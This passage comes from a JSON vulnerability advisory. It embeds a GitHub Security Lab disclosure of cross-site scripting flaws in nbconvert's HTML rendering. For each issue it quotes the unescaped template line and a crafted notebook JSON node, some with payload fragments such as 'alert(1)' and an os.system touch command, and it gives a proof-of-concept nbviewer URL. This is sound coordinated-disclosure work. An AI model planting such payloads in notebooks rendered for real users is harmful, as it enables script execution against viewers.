alert(1)\"\n ]\n },\n \"execution_count\": 5,\n \"metadata\": {},\n \"output_type\": \"execute_result\"\n }\n ],\n \"source\": [\n \"import os; os.system('touch /tmp/pwned')\"\n ]\n },\n```\n\n### Issue 6: XSS in output data image/svg+xml cells(`GHSL-2021-1018`)\n\nUsing the `image/svg+xml` output data mime type allows arbitrary javascript to be executed when rendering an HTML notebook. \n\nThe `cell.output.data[\"image/svg+xml\"]` nodes are rendered directly to the [`base.html.j2`](https://github.com/jupyter/nbconvert/blob/main/share/jupyter/nbconvert/templates/classic/base.html.j2) HTML template with no escaping\n\n```\n{%- else %}\n{{ output.data['image/svg+xml'] }}\n{%- endif %}\n```\n\nThe following `cell.output.data[\"image/svg+xml\"]` node will execute arbitrary javascript:\n\n```json\n {\n \"output_type\": \"execute_result\",\n \"data\": {\n \"image/svg+xml\": [\"\"]\n },\n \"execution_count\": null,\n \"metadata\": {\n }\n }\n```\n\n### Issue 7: XSS in notebook.cell.output.svg_filename(`GHSL-2021-1019`)\n\nThe `cell.output.svg_filename` nodes are rendered directly to the [`base.html.j2`](https://github.com/jupyter/nbconvert/blob/main/share/jupyter/nbconvert/templates/classic/base.html.j2) HTML template with no escaping\n\n```\n{%- if output.svg_filename %}\n

\n```\n\nThe following `cell.output.svg_filename` node will escape the `img` tag context and execute arbitrary javascript:\n\n```json\n {\n \"cell_type\": \"code\",\n \"execution_count\": null,\n \"id\": \"b72e53fa\",\n \"metadata\": {},\n \"outputs\": [\n {\n \"output_type\": \"execute_result\",\n \"svg_filename\": \"\\\">\",\n \"data\": {\n \"image/svg+xml\": [\"\"]\n },\n \"execution_count\": null,\n \"metadata\": {\n }\n }\n ],\n \"source\": [\"\"]\n },\n```\n\n### Issue 8: XSS in output data text/markdown cells(`GHSL-2021-1020`)\n\nUsing the `text/markdown` output data mime type allows arbitrary javascript to be executed when rendering an HTML notebook. \n\nThe `cell.output.data[\"text/markdown\"]` nodes are rendered directly to the [`base.html.j2`](https://github.com/jupyter/nbconvert/blob/main/share/jupyter/nbconvert/templates/classic/base.html.j2) HTML template with no escaping\n\n```\n{{ output.data['text/markdown'] | markdown2html }}\n```\n\nThe following `cell.output.data[\"text/markdown\"]` node will execute arbitrary javascript:\n\n```\n {\n \"output_type\": \"execute_result\",\n \"data\": {\n \"text/markdown\": [\"\"]\n },\n \"execution_count\": null,\n \"metadata\": {}\n }\n```\n\n### Issue 9: XSS in output data application/javascript cells(`GHSL-2021-1021`)\n\nUsing the `application/javascript` output data mime type allows arbitrary javascript to be executed when rendering an HTML notebook. This is probably by design, however, it would be nice to enable an option which uses an HTML sanitizer preprocessor to strip down all javascript elements:\n\nThe `cell.output.data[\"application/javascript\"]` nodes are rendered directly to the [`base.html.j2`](https://github.com/jupyter/nbconvert/blob/main/share/jupyter/nbconvert/templates/classic/base.html.j2) HTML template with no escaping\n\n```\n\n```\n\nThe following `cell.output.data[\"application/javascript\"]` node will execute arbitrary javascript:\n\n```\n {\n \"output_type\": \"execute_result\",\n \"data\": {\n \"application/javascript\": [\"console.log(\\\"application/javascript output\\\")\"]\n },\n \"execution_count\": null,\n \"metadata\": {}\n }\n```\n\n### Issue 10: XSS is output.metadata.filenames image/png and image/jpeg(`GHSL-2021-1022`)\n\nThe `cell.output.metadata.filenames[\"images/png\"]` and `cell.metadata.filenames[\"images/jpeg\"]` nodes are rendered directly to the [`base.html.j2`](https://github.com/jupyter/nbconvert/blob/main/share/jupyter/nbconvert/templates/classic/base.html.j2) HTML template with no escaping:\n\n```\n{%- if 'image/png' in output.metadata.get('filenames', {}) %}\n

\" \n }\n }\n }\n```\n\n### Issue 11: XSS in output data image/png and image/jpeg cells(`GHSL-2021-1023`)\n\nUsing the `image/png` or `image/jpeg` output data mime type allows arbitrary javascript to be executed when rendering an HTML notebook. \n\nThe `cell.output.data[\"images/png\"]` and `cell.output.data[\"images/jpeg\"]` nodes are rendered directly to the [`base.html.j2`](https://github.com/jupyter/nbconvert/blob/main/share/jupyter/nbconvert/templates/classic/base.html.j2) HTML template with no escaping:\n\n```\n{%- else %}\n

\"]\n },\n \"execution_count\": null,\n \"metadata\": {}\n }\n```\n\n### Issue 12: XSS is output.metadata.width/height image/png and image/jpeg(`GHSL-2021-1024`)\n\nThe `cell.output.metadata.width` and `cell.output.metadata.height` nodes of both `image/png` and `image/jpeg` cells are rendered directly to the [`base.html.j2`](https://github.com/jupyter/nbconvert/blob/main/share/jupyter/nbconvert/templates/classic/base.html.j2) HTML template with no escaping:\n\n```\n{%- set width=output | get_metadata('width', 'image/png') -%}\nwidth={{ width }}\n{%- set height=output | get_metadata('height', 'image/png') -%}\nheight={{ height }}\n```\n\nThe following `output.metadata.width` node will execute arbitrary javascript:\n\n```json\n {\n \"output_type\": \"execute_result\",\n \"data\": {\n \"image/png\": [\"abcd\"]\n },\n \"execution_count\": null,\n \"metadata\": {\n \"width\": \">\"\n }\n }\n```\n\n### Issue 13: XSS in output data application/vnd.jupyter.widget-state+json cells(`GHSL-2021-1025`)\n\nThe `cell.output.data[\"application/vnd.jupyter.widget-state+json\"]` nodes are rendered directly to the [`base.html.j2`](https://github.com/jupyter/nbconvert/blob/main/share/jupyter/nbconvert/templates/classic/base.html.j2) HTML template with no escaping:\n\n```\n{% set datatype_list = output.data | filter_data_type %}\n{% set datatype = datatype_list[0]%}\n\n```\n\nThe following `cell.output.data[\"application/vnd.jupyter.widget-state+json\"]` node will execute arbitrary javascript:\n\n```json\n {\n \"output_type\": \"execute_result\",\n \"data\": {\n \"application/vnd.jupyter.widget-state+json\": \"\\\"\n```\n\nThe following `cell.output.data[\"application/vnd.jupyter.widget-view+json\"]` node will execute arbitrary javascript:\n\n```json\n {\n \"output_type\": \"execute_result\",\n \"data\": {\n \"application/vnd.jupyter.widget-view+json\": \"\\\"\"\n ]\n }\n```\n\n### Issue 16: XSS in markdown cells(`GHSL-2021-1028`)\n\nUsing a `markdown` cell type allows arbitrary javascript to be executed when rendering an HTML notebook. This is probably by design, however, it would be nice to enable an option which uses an HTML sanitizer preprocessor to strip down all javascript elements:\n\nThe following is an example of a `markdown` cell executing arbitrary javascript code:\n\n```json\n {\n \"cell_type\": \"markdown\",\n \"id\": \"2d42de4a\",\n \"metadata\": {},\n \"source\": [\n \"\"\n ]\n },\n```\n\n### Proof of Concept\n\nThese vulnerabilities may affect any server using nbconvert to generate HTML and not using a secure content-security-policy (CSP) policy. For example [nbviewer](https://nbviewer.jupyter.org) is vulnerable to the above mentioned XSS issues:\n\n1. Create Gist with payload. eg:\n- `https://gist.github.com/pwntester/ff027d91955369b85f99bb1768b7f02c`\n\n2. Then load gist on nbviewer. eg:\n- `https://nbviewer.jupyter.org/gist/pwntester/ff027d91955369b85f99bb1768b7f02c`\n\nNote: response is served with `content-security-policy: connect-src 'none';`\n\n## GitHub Security Advisories\n\nWe recommend you create a private [GitHub Security Advisory](https://help.github.com/en/github/managing-security-vulnerabilities/creating-a-security-advisory) for these findings. This also allows you to invite the GHSL team to collaborate and further discuss these findings in private before they are [published](https://help.github.com/en/github/managing-security-vulnerabilities/publishing-a-security-advisory).\n\n## Credit\n\nThese issues were discovered and reported by GHSL team member [@pwntester (Alvaro Muñoz)](https://github.com/pwntester).\n\n## Contact\n\nYou can contact the GHSL team at `securitylab@github.com`, please include a reference to `GHSL-2021-1013`, `GHSL-2021-1014`, `GHSL-2021-1015`, `GHSL-2021-1016`, `GHSL-2021-1017`, `GHSL-2021-1018`, `GHSL-2021-1019`, `GHSL-2021-1020`, `GHSL-2021-1021`, `GHSL-2021-1022`, `GHSL-2021-1023`, `GHSL-2021-1024`, `GHSL-2021-1025`, `GHSL-2021-1026`, `GHSL-2021-1027` or `GHSL-2021-1028` in any communication regarding these issues.\n\n\n## Disclosure Policy\n\nThis report is subject to our [coordinated disclosure policy](https://securitylab.github.com/advisories#policy).\n","affected":[{"package":{"name":"nbconvert","ecosystem":"PyPI","purl":"pkg:pypi/nbconvert"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.5.1"}]}],"versions":["0.0.0","4.0.0","4.1.0","4.2.0","4.3.0","5.0.0","5.0.0b1","5.1.0","5.1.1","5.2.1","5.3.0","5.3.1","5.4.0","5.4.1","5.4.1.dev0","5.5.0","5.6.0","5.6.1","6.0.0","6.0.0a0","6.0.0a1","6.0.0a2","6.0.0a3","6.0.0a4","6.0.0a5","6.0.0a6","6.0.0b7","6.0.0rc0","6.0.1","6.0.2","6.0.3","6.0.4","6.0.5","6.0.6","6.0.7","6.1.0","6.1.0rc0","6.1.1b0","6.2.0","6.2.0rc0","6.2.0rc1","6.2.0rc2","6.3.0","6.3.0b0","6.4.0","6.4.1","6.4.2","6.4.3","6.4.4","6.4.5","6.5.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/08/GHSA-9jmq-rx5f-8jwq/GHSA-9jmq-rx5f-8jwq.json"}}],"references":[{"type":"WEB","url":"https://github.com/jupyter/nbconvert/security/advisories/GHSA-9jmq-rx5f-8jwq"},{"type":"WEB","url":"https://github.com/jupyter/nbviewer/security/advisories/GHSA-h274-fcvj-h2wm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-32862"},{"type":"PACKAGE","url":"https://github.com/jupyter/nbconvert"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nbconvert/PYSEC-2022-249.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/06/msg00003.html"}],"database_specific":{"cwe_ids":["CWE-79"],"github_reviewed":true,"github_reviewed_at":"2022-08-10T17:51:53Z","nvd_published_at":"2022-08-18T19:15:00Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N"}]}